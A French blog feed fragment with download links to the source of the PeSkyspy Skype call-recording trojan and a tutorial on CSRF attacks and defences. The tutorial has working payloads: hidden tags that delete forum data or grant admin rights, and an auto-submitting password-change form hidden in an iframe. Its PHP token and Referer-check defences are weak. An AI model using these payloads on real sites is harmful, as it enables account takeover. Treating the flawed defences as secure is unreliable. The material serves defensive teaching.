<p><a href="http://www.megapanzer.com/wp-content/uploads/SkypeTrojan.zip">Télécharger ici le code source de PeSkyspy</a></p>
<p><a href="http://www.mcherifi.org/data/peskypy/SkypeTrojan.zip">Lien alternative</a></p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&d=http://twitter.com/home?status=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&d=http://www.facebook.com/share.php?u=TARGET%26t=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&amp;title=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL&amp;annotation=%0D%0A%0D%0ARuben%20Unteregger%20vient%20de%20publier%20le%20code%20source%20de%20Peskyspy%2C%20un%20cheval%20de%20troie%20pour%20Skype%2C%20le%20trojan%20permet%20le%20monitoring%20de%20tout%20appel%20entrant%20ou%20sortant%20d%27une%20machine%20infect%C3%A9e%2C%20d%27enregistrer%20ces%20conversations%20et%20les%20convertir%20au%20format%20MP3%2C%20" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&amp;title=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL&amp;notes=%0D%0A%0D%0ARuben%20Unteregger%20vient%20de%20publier%20le%20code%20source%20de%20Peskyspy%2C%20un%20cheval%20de%20troie%20pour%20Skype%2C%20le%20trojan%20permet%20le%20monitoring%20de%20tout%20appel%20entrant%20ou%20sortant%20d%27une%20machine%20infect%C3%A9e%2C%20d%27enregistrer%20ces%20conversations%20et%20les%20convertir%20au%20format%20MP3%2C%20" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&title=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&amp;title=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL&amp;bodytext=%0D%0A%0D%0ARuben%20Unteregger%20vient%20de%20publier%20le%20code%20source%20de%20Peskyspy%2C%20un%20cheval%20de%20troie%20pour%20Skype%2C%20le%20trojan%20permet%20le%20monitoring%20de%20tout%20appel%20entrant%20ou%20sortant%20d%27une%20machine%20infect%C3%A9e%2C%20d%27enregistrer%20ces%20conversations%20et%20les%20convertir%20au%20format%20MP3%2C%20" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&amp;title=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=%0D%0A%0D%0ARuben%20Unteregger%20vient%20de%20publier%20le%20code%20source%20de%20Peskyspy%2C%20un%20cheval%20de%20troie%20pour%20Skype%2C%20le%20trojan%20permet%20le%20monitoring%20de%20tout%20appel%20entrant%20ou%20sortant%20d%27une%20machine%20infect%C3%A9e%2C%20d%27enregistrer%20ces%20conversations%20et%20les%20convertir%20au%20format%20MP3%2C%20" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&amp;title=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&d=http://ping.fm/ref/?link=TARGET%26title=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL%26body=%0D%0A%0D%0ARuben%20Unteregger%20vient%20de%20publier%20le%20code%20source%20de%20Peskyspy%2C%20un%20cheval%20de%20troie%20pour%20Skype%2C%20le%20trojan%20permet%20le%20monitoring%20de%20tout%20appel%20entrant%20ou%20sortant%20d%27une%20machine%20infect%C3%A9e%2C%20d%27enregistrer%20ces%20conversations%20et%20les%20convertir%20au%20format%20MP3%2C%20" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&d=mailto:?subject=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&amp;title=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL&amp;selection=%0D%0A%0D%0ARuben%20Unteregger%20vient%20de%20publier%20le%20code%20source%20de%20Peskyspy%2C%20un%20cheval%20de%20troie%20pour%20Skype%2C%20le%20trojan%20permet%20le%20monitoring%20de%20tout%20appel%20entrant%20ou%20sortant%20d%27une%20machine%20infect%C3%A9e%2C%20d%27enregistrer%20ces%20conversations%20et%20les%20convertir%20au%20format%20MP3%2C%20" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&amp;title=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&amp;submitHeadline=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL&amp;submitSummary=%0D%0A%0D%0ARuben%20Unteregger%20vient%20de%20publier%20le%20code%20source%20de%20Peskyspy%2C%20un%20cheval%20de%20troie%20pour%20Skype%2C%20le%20trojan%20permet%20le%20monitoring%20de%20tout%20appel%20entrant%20ou%20sortant%20d%27une%20machine%20infect%C3%A9e%2C%20d%27enregistrer%20ces%20conversations%20et%20les%20convertir%20au%20format%20MP3%2C%20&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&amp;title=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html&amp;title=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=Le%20code%20source%20du%20trojan%20Skype%20Peskyspy%20publi%C3%A9%20sous%20liscence%20GPL&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fle-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/hacking/le-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Se protéger contre les attaques CSRF Injection</title>
		<link>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html</link>
		<comments>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html#comments</comments>
		<pubDate>Fri, 07 Aug 2009 06:36:51 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Développement WEB]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[cross site request forgories]]></category>
		<category><![CDATA[csrf injection]]></category>
		<category><![CDATA[xsrf]]></category>
		<category><![CDATA[xsrf injection]]></category>

		<guid isPermaLink="false">http://mcherifi.org/?p=44</guid>
		<description><![CDATA[TweetCSRF Injection (Cross Site Request Forgeries) est une classe d&#8217;attaque propre aux applications WEB qui a toujours existé mais qui reste moins connue! son exploitation par un attaquant malveillant peut avoir des conséquences dramatique sur un système d&#8217;information.
Dans ce billet, je vais vous expliquer ce que c&#8217;est une attaque de type CSRF Injection, avec des [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html" data-text="Se protéger contre les attaques CSRF Injection" data-count="horizontal">Tweet</a><p>CSRF Injection (Cross Site Request Forgeries) est une classe d&#8217;attaque propre aux applications WEB qui a toujours existé mais qui reste moins connue! son exploitation par un attaquant malveillant peut avoir des conséquences dramatique sur un système d&#8217;information.</p>
<p>Dans ce billet, je vais vous expliquer ce que c&#8217;est une attaque de type CSRF Injection, avec des exemples d&#8217;exploitation illustrés ainsi que des mesures de protection qui peuvent être implémentés.</p>
<h2>CSRF c&#8217;est quoi?</h2>
<p>Une attaque CSRF se repose sur l&#8217;exploitation de la confiance d&#8217;une application WEB vis à vis ses clients, l&#8217;objectif de cette dernière est de forcer le navigateur à envoyer une requête &laquo;&nbsp;forgée&nbsp;&raquo; à l&#8217;insu d&#8217;un internaute connecté à son compte  avec les privilèges de ce dernier,  autrement dit : « Je n&#8217;ai pas les droits pour faire une action, je m’arrange alors pour que l’utilisateur ayant les privilèges nécessaires la fasse à ma place (sans qu’il soit au courant bien entendu) ».</p>
<p>Ce type d&#8217;attaque n&#8217;est pas difficile à mettre en œuvre, il peut être mené par n&#8217;importe qui par un simple lien ou script caché dans un email ou une page WEB, on suivant le lien contrefait le navigateur de la victime exécutera le code avec les permissions qu&#8217;a ce dernier sur le site vulnérable (forum, blog, espace membre..).</p>
<h2>Quelques exemples d&#8217;exploitation:</h2>
<p>Pour illustrer la facilité de la mise en œuvre d&#8217;une attaque CSRF avec des exemples concrets: Je vais prendre l&#8217;exemple d&#8217;un forum qui n&#8217;as pas pensé à se protéger contre ce type de faille, son administrateur connecté à son espace admin visite une page contenant l&#8217;un de ces codes :</p>
<h3>Exemple avec des requêtes GET</h3>
<p><em>Suppression de tous les topics d&#8217;un forum</em></p>
<pre class="brush: html">&lt;img src=&quot;http://www.victime.ltd/forum/admin/delete.php?msg=all&quot; alt=&quot;&quot; width=&quot;0&quot; height=&quot;0&quot; /&gt;</pre>
<p>
<em> Suppression d&#8217;un utilisateur :</em></p>
<pre class="brush: html">&lt;script src=&quot;http://www.victime.ltd/forum/admin/deleteuser.php?username=toto&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;</pre>
<p>
<em>Donner les drois d&#8217;administrateur à l&#8217;utilisateur haxor</em></p>
<pre class="brush: html">&lt;span style=&quot;background:url(http://www.victime.ltd/forum/admin/addadmin.php?username=haxor&quot;&gt;Hello master&lt;/span&gt;</pre>
</p>
<h3><strong>Comment ça marche?</strong></h3>
<p>Lorsque l&#8217;administrateur du forum visite une page contenant l&#8217;un de ces codes, son navigateur va essayer de charger l’image se trouvant à l’adresse indiquée par la balise &laquo;&nbsp;&lt;img&gt;&nbsp;&raquo;  sans se douter que ce n’est pas une image. Le serveur du forum va donc exécuter la page et supprimer tous les messages en croyant que c’est l’administrateur qui a demandé la suppression!</p>
<p>On partant sur le même principe le deuxième et troisième exemples illustrent l&#8217;utilisation des balises HTML avec différents attributs où le but est toujours de forcer le navigateur à appeler une page web du site victime via une requête HTTP de type GET, cette page sera interprétée par le serveur ce qui mènera à des actions non désirés par le client possédant des droits privilégiés!</p>
<h3><strong>Exemple avec une requête POST</strong></h3>
<p>On suppose que sur notre forum nous avons un formulaire de modification de mot de passe et qu&#8217;on souhaite forger une requête HTTP de type POST pour forcer le navigateur à poster les données afin de modifier le mot de passe du client (toujours à son insu bien entendu).</p>
<p>voici à quoi le code du formulaire peut ressembler</p>
<p>
<pre class="brush: html">
&lt;form action=&quot;/user/changepasswd.php&quot; method=&quot;post&quot;&gt;
Entrez votre nouveau mot de passe :
&lt;input type=&quot;hidden&quot; name=&quot;new_password&quot; value=&quot;&quot; /&gt;
Confirmer le nouveau mot de passe :
&lt;input type=&quot;hidden&quot; name=&quot;new_password_confirm&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;submit&quot; value=&quot;Enregistrer les modification&quot; /&gt;
&lt;/form&gt;
</pre>
</p>
<p>L&#8217;objectif est d&#8217;effectuer une requête HTTP de type POST vers la page <em>changepasswd.php</em> avec les champs <em>new_password</em> et <em>new_password_confirm</em> pré-remplis, avec le nouveau passe souhaité par l&#8217;attaquant, pour cela un attaquant peut procéder ainsi :</p>
<ol>
<li>Création d&#8217;une première page qui contient le formulaire pré-remplis avec comme &laquo;&nbsp;action&nbsp;&raquo; l&#8217;url du site victime</li>
<li>Mettre en place un code javascript pour soumettre le formulaire au chargement de la page</li>
<li>Créer une deuxième page pour cacher la première dans un &lt;iframe&gt; afin de cacher ce qui se passe derrière ;)</li>
</ol>
<p>D&#8217;où le code de la première page (on la nome csrfpost.html) est :</p>
<p>
<pre class="brush: html">
&lt;script type=&quot;text/javascript&quot;&gt;
window.onload = function(){
document.getElementById(&quot;csrf_form&quot;).submit();
}
&lt;/script&gt;
&lt;form id=&quot;csrf_form&quot; action=&quot;http://www.victime.ltd/user/changepasswd.php&quot; method=&quot;post&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;new_password&quot; value=&quot;pwn3d&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;new_password_confirm&quot; value=&quot;pwn3d&quot; /&gt;
&lt;/form&gt;
</pre>
</p>
<p>Le code de la deuxième page devrai contenir un &lt;iframe&gt; caché avec d&#8217;éventuel contenu pour que la victime ne se doute pas!</p>
<p>
<pre class="brush: html">
Hello master
&lt;iframe src=&quot;http://attacker.ltd/csrfpost.html&quot; width=&quot;1&quot; height=&quot;1&quot; style=&quot;display:none;&quot;&gt;&lt;/iframe&gt;
</pre>
</p>
<p>De cette manière l&#8217;iframe appelera la page csrfpost.html qui postera la requête post forgée vers la page <em>http://www.victime.ltd/user/changepasswd.php </em>et qui de son tour sera exécuté par le serveur du site vulnerable, et le password sera modifié par un nouveau ( &laquo;&nbsp;pwn3d&nbsp;&raquo; dans notre cas)!</p>
<p>Faites gaffe alors lorsqu&#8217;on vous incitent, à visiter un lien quelconque, et si jamais vous avez suivis un lien et que le contenu de la page ne vous dit rien; examinez le code source!  il y a de forte possibilités qu&#8217;il s&#8217;agit d&#8217;une attaque CSRF.</p>
<h2>Comment se protéger ?</h2>
<p>Il est assez difficile de détecter une attaque CSRF même en utilisant un antivirus ou un firewall, alors là l&#8217;antivirus c&#8217;est vous! L&#8217;objectif est d&#8217;empêcher le navigateur à effectuer des recettes à l&#8217;insu du client ou sans accord préalable de ce dernier.<br />
Pour cela voici des mesures à prendre en compte :</p>
<ul>
<li>Ne pas suivre les liens suspects</li>
<li>Ne pas sauvegarder vos identifiants dans votre navigateur</li>
<li>Toujours se déconnecter à la fin d&#8217;utilisation de vos comptes</li>
<li>Utilisez un deuxième navigateur pour les sites suspects</li>
<li>Désactiver l&#8217;interprétation du code HTML dans vos client WEBMail</li>
</ul>
<h2>Comment sécuriser son code?</h2>
<p>Si vous êtes développeur<strong>, </strong>voici quelques bonnes pratiques à implémenter dans vos codes:</p>
<ul>
<li>Toujours utiliser des pages de confirmation et demander la validation du client avant toute action critique</li>
<li>Utiliser des jetons de sécurité (tokenid) dans tous vos pages sensibles (voir l&#8217;exemple)</li>
<li>Vérifier l&#8217;URL de provenance (HTTP_REFERER) pour prévenir des requêtes POST forgées (voir l&#8217; exemple)</li>
</ul>
<h3><span style="text-decoration: underline;">Utiliser des jetons:</span></h3>
<p>L&#8217;utilisation d&#8217;un jeton de sécurité est primordiale pour une application qui se respecte, personnellement je trouve que c&#8217;est la meilleure solution pour se protéger contre les attaques CSRF!</p>
<p><span style="text-decoration: underline;">Pour les requêtes HTTP de type GET:</span></p>
<p>On deverai avoir 2 pages, une page de confirmation qui servira à la génération d&#8217;une clé aléatoire (jeton) et la stocker dans une variable de session, ainsi tous les liens qui servent d&#8217;effectuer des actions sensibles porteront ce jeton dans une variable GET, le contenu de cette variable sera vérifié dans la deuxième page qui exécute l&#8217;action.</p>
<p>Exemple de page de confirmation avec une requête GET :</p>
<p>
<pre class="brush: php">
&lt;?php
session_start();
// on génere une clé aléatoire de 32 caractères et on la met dans notre variable de session
$_SESSION[&#039;tokenid&#039;] = str_shuffle(md5(microtime(true)));
?&gt;
Etes vous sûre de vouloir supprimer l&#039;utilisateur toto ??
&lt;a href=&quot;supprimer_utilisateur.php?username=toto&amp;amp;amp;tokenid=&lt;?php echo $_SESSION[&#039;tokenid&#039;] ?&gt;&quot;&gt;Supprimer&lt;/a&gt;
&lt;a href=&quot;javascript:history.back();&quot;&gt;Annuler&lt;/a&gt;
</pre>
</p>
<p>Dans la page <em>supprimer_utilisateur.php </em></p>
<p>
<pre class="brush: php">
&lt;?php
session_start();
// on verifie la clé de securité avant de procéder au traitement
if(!empty($_GET[&#039;tokenid&#039;]) &amp;amp;amp;&amp;amp;amp; $_GET[&#039;tokenid&#039;] == $_SESSION[&#039;tokenid&#039;]){
// on détruit la session ne pas la réutiliser par un utilisateur malveillant
unset($_SESSION[&#039;tokenid&#039;]);
// on efféctue le traitement
}
else{
die(&quot;Votre session a expirée&quot;);
}
?&gt;
</pre>
</p>
<p><span style="text-decoration: underline;">Pour les requêtes HTTP de type POST</span></p>
<p>Quant aux requêtes HTTP de type POST c&#8217;est toujours le même principe que pour GET sauf qu&#8217;au lieu de passer le jeton en paramètre dans le lien on le mets dans un champs caché de type &laquo;&nbsp;hidden&nbsp;&raquo;.</p>
<p>On reprends l&#8217;exemple mentionné en haut mais cette fois-ci securisé =)</p>
<p>
<pre class="brush: php">
&lt;?php
session_start();
$_SESSION[&#039;tokenid&#039;] = str_shuffle(md5(microtime(true)));
?&gt;
&lt;form action=&quot;/user/changepasswd.php&quot; method=&quot;post&quot;&gt;
Entrez votre nouveau mot de passe :
&lt;input type=&quot;hidden&quot; name=&quot;new_password&quot; value=&quot;&quot; /&gt;
Confirmer le nouveau mot de passe :
&lt;input type=&quot;hidden&quot; name=&quot;new_password_confirm&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;submit&quot; value=&quot;Enregistrer les modification&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;tokenid&quot; value=&quot;&lt;?php echo $_SESSION[&#039;tokenid&#039;] ?&gt;&quot; /&gt;
&lt;/form&gt;
</pre>
</p>
<p>Et dans le fichier <em>changepasswd.php</em></p>
<p>
<pre class="brush: php">
&lt;?php
session_start();
// on verifie la clé de securité avant de procéder au traitement
if(!empty($_POST[&#039;tokenid&#039;])  &amp;amp;amp;&amp;amp;amp; $_POST[&#039;tokenid&#039;] == $_SESSION[&#039;tokenid&#039;]){
// on détruit la session pour ne pas la réutiliser par un utilisateur malveillant
unset($_SESSION[&#039;tokenid&#039;]);
// on efféctue le traitement
}
else{
die(&quot;Votre session a expirée&quot;);
}
?&gt;
</pre>
</p>
<p>Ne faite jamais confiance à aucune données récupéré coté client tant que le filtrage n&#8217;as pas été approuvé =)</p>
<h3><span style="text-decoration: underline;">Vérification de l&#8217;url de provenance : </span></h3>
<p>La vérification de l&#8217;url de provenance vous aidera à mieux vous protéger contre les CSRF avec des requêtes POST comme dans l&#8217;exemple expliqué en haut, ce n&#8217;est pas une protection sûre et peut être contourné si l&#8217;attaque provient du même site, mais ça permet comme même d&#8217;éviter plusieurs ennuits ;)</p>
<p>Bref, il suffit de placer le code suivant dans les fichiers qui effectuent des actions sensibles (changement de mot de passe, suppression de données, etc..)</p>
<p>
<pre class="brush: php">
if (!empty($_SERVER[&#039;HTTP_REFERER&#039;])){
if (!ereg($_SERVER[&#039;HTTP_HOST&#039;], $_SERVER[&#039;HTTP_REFERER&#039;])){
die(&quot;Vous ne pouvez pas venir ici!&quot;);
}
}
else{
die(&quot;Referer introuvable&quot;);
}
</pre>
</p>
<h2>Conclusion</h2>
<p>La faille CSRF Injection reste parmi les classes d&#8217;attaques les plus dangereuses sur le WEB vu son exploitation instantanée et les importants dégâts qu&#8217;elle peut engendrer! Je détaillerai dans un prochain billet l&#8217;exploitation avancée de cette dernière ;)</p>
<p>Je rappelle que des gros sites ont étaient victimes de ce type t&#8217;attaque, je cites: Gmail, MySpace, Windows Live Mail, Skyrock, Dynadot et bien d&#8217;autres .. sinon j&#8217;espère que ce tuto vous a été utile et vous a appris de nouvelles notions ;)</p>
<p>Allez, bonne journée à tous!</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 3213px; width: 1px; height: 1px;">
<p>session_start();</p>
<p>// on verifie la clé de securité avant de procéder au traitement</p>
<p>if(!empty($_GET['uniqid'])  &#038; $_GET['uniqid'] == $_SESSION['tokenid']){</p>
<p>// on efféctue le traitement</p>
<p>}</p>
<p>else{</p>
<p>die(&laquo;&nbsp;Votre session a expirée&nbsp;&raquo;);</p>
<p>}</p>
<p>?&gt;[</p>
</div>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&d=http://twitter.com/home?status=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
